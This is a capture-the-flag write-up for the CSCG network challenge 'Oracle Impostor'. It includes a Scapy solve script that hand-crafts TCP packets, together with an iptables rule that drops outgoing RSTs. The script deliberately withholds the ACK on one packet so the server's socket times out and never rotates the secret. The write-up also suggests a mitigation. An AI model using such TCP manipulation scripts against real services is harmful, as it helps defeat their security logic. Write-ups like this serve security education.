Oracle Impostor

Information

Category: Network

Difficulty: Medium

Author: w4rum

Points:

- **Junior**: ?
- **Senior**: ?
- **Earth**: ?

First Blood:

- **Junior**: Jasper
- **Senior**: Yannik
- **Earth**: adragos

Description:

>Whether it's ancient Greek politics or cryptography, oracles make life a lot easier.

>Except that you don't have one.

>And this isn't about cryptography either.

>You can start a local version of the challenge on your own system by starting server.py.

>Once you know how to solve it, connect to our service via TCP at oracle-impostor.cscg.live:1024.

Challenge Files:

- *server.py*
- *handler.py*

Overview

You have to enter the secret at the beginning, this is then compared with the real secret.

If the entered secret is the right one, you will get the flag.

If the secret is wrong there is a "drum roll", then the secret is sent and after that a new one is created.

Solution

The goal is to receive the TCP packet with the secret but not to ack it, so that the socket gets timeouted and no new secret is created.

I created a (not so nice) script that manually acks the packages.

The secret package is not acked. In Wireshark I then could see the Secret and pass it to the script. The Secret is then sent and you get the flag.

The script is not the nicest/best/most effective/fastest, but it works.

Mitigation

The new creation of the secret should happen independently of the socket state.

For example, you could put this at the beginning of the function.

File: *solve.py*

```
#####
#Execute before script:
#iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP
#####
from scapy.all import *
import time
#Destination (IP of oracle-impostor.cscg.live)
dest="147.75.81.189"
#dest=input("IP: ")
seq = 0
#Random source port
sport = random.randint(1024,65535)
#Server port (1024)
dport = 1024
#dport=int(input("Port: "))

ip_packet = IP(dst=dest)

#Start 3-way Handshake
syn_packet = TCP(sport=sport, dport=dport, flags='S', seq=seq)
#SYN
packet = ip_packet/syn_packet
#SYN/ACK
synack_response = sr1(packet)
#ACK
```

```
ack_packet = TCP(sport=sport, dport=dport, flags='A', seq=seq+1, ack=synack_response.seq+1)
response=sr1(ip_packet/ack_packet)
if not "only talking to the" in str(response):
    print("[!] Not succesfully connected")
    exit(-1)

print("[i] Connected")
#ACK
ack_packet = TCP(sport=sport, dport=dport, flags='A', seq=seq+1, ack=response.seq+len(response[TCP].payload))
send(ip_packet/ack_packet)
#ACK+Send
push_ack_packet = TCP(sport=sport, dport=dport, flags='PA', seq=seq+1, ack=response.seq+len(response[TCP].payload))
#Sent secret
secret = "123"
response = sr1(ip_packet/push_ack_packet/secret)
#ACK Drumroll
for i in range(10):
    ack_packet = TCP(sport=sport, dport=dport, flags='A', seq=response.ack, ack=response.seq+len(response[TCP].payload))
    if i == 9:
        sr(ip_packet/ack_packet)
    else:
        response = sr1(ip_packet/ack_packet)
        print(response)
print(sr1(ip_packet/ack_packet))
time.sleep(5)
secret=input("Secret: ")
#ACK
ack_packet = TCP(sport=sport, dport=dport, flags='A', seq=response.ack, ack=response.seq+len(response[TCP].payload)+1000)
send(ip_packet/ack_packet)
time.sleep(10)
#ACK
ack_packet = TCP(sport=sport, dport=dport, flags='A', seq=response.ack, ack=response.seq+len(response[TCP].payload)+1000+1038+100)
send(ip_packet/ack_packet)
ack_packet = TCP(sport=sport, dport=dport, flags='PA', seq=response.ack, ack=response.seq+len(response[TCP].payload)+1000+1038+100)
response = sr1(ip_packet/ack_packet/secret)
print(response)
```